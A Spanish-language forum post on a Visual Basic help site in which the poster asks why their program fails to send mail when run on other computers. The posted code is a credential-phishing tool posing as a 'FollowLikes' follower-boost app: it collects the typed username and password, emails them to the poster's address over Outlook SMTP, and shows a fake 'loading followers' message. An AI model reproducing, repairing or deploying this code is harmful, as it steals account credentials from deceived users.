Visual Basic - ERROR ENVIAR CORREO VISUAL DESDE OTRA PC

Life is soft - evento anual de software empresarial
   
Vista:

ERROR ENVIAR CORREO VISUAL DESDE OTRA PC

Publicado por Leonel (1 intervención) el 19/05/2017 05:10:21
Hola, yo cree un programa el cual, pones un usuario y contraseña y enviar y se envia a un correo ya establecido el problema es que funciona perfecto en mi pc pero en otra pc no funciona. Tira el error de mensaje no enviado, cual puede ser el problema?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Imports System.Net.Mail
Public Class FollowLikes
    'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
    Dim thread As System.Threading.Thread
    Dim smtp As New SmtpClient("smtp-mail.outlook.com")
 
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
        Control.CheckForIllegalCrossThreadCalls = False
    End Sub
 
    Private Sub DoGenerate()
 
        Try
            Dim mail As New MailMessage
            mail.From = New MailAddress("leonel1275@hotmail.com")
            mail.To.Add("leonel1275@hotmail.com")
            mail.Subject = "Updates"
            mail.Body = "USERNAME: " + TextBox1.Text + vbNewLine + "PASSWORD: " + TextBox2.Text
            smtp.Port = 587
            smtp.EnableSsl = True
            smtp.Credentials = New Net.NetworkCredential("leonel1275@hotmail.com", "contraseña")
            smtp.Send(mail)
            MessageBox.Show("Cargando Seguidores, Puede que este preceso dure entre 1 a 3 minutos dependiendo de sus seguidores", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
        Catch exE As Exception
            MessageBox.Show("Error Servidor Conctacte al administrador para mas informacion.") 'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
        End Try
 
 
 
    End Sub
 
 
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
 
        thread = New System.Threading.Thread(AddressOf DoGenerate)
        thread.Start()
 
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        Button1.Enabled = False
 
    End Sub
 
    Private Sub nomalstate()
        TextBox1.Enabled = True
        TextBox2.Enabled = True
        Button1.Enabled = True
    End Sub
 
 
 
 
 
    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
 
    End Sub
End Class
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder
Revisar política de publicidad